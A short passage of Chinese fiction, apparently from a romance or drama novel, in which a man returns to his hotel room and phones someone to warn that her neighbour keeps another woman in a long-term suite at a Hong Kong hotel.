他原路返回,电梯直降到底层,才意识到没按楼层键,复又重新回到自己住的楼层。用房卡刷开门的同时,电话拨出去。 “但愿你和你的好邻居只是邻居。你知不知道他在香港酒店有长期包房,并且里面养着别的女人。”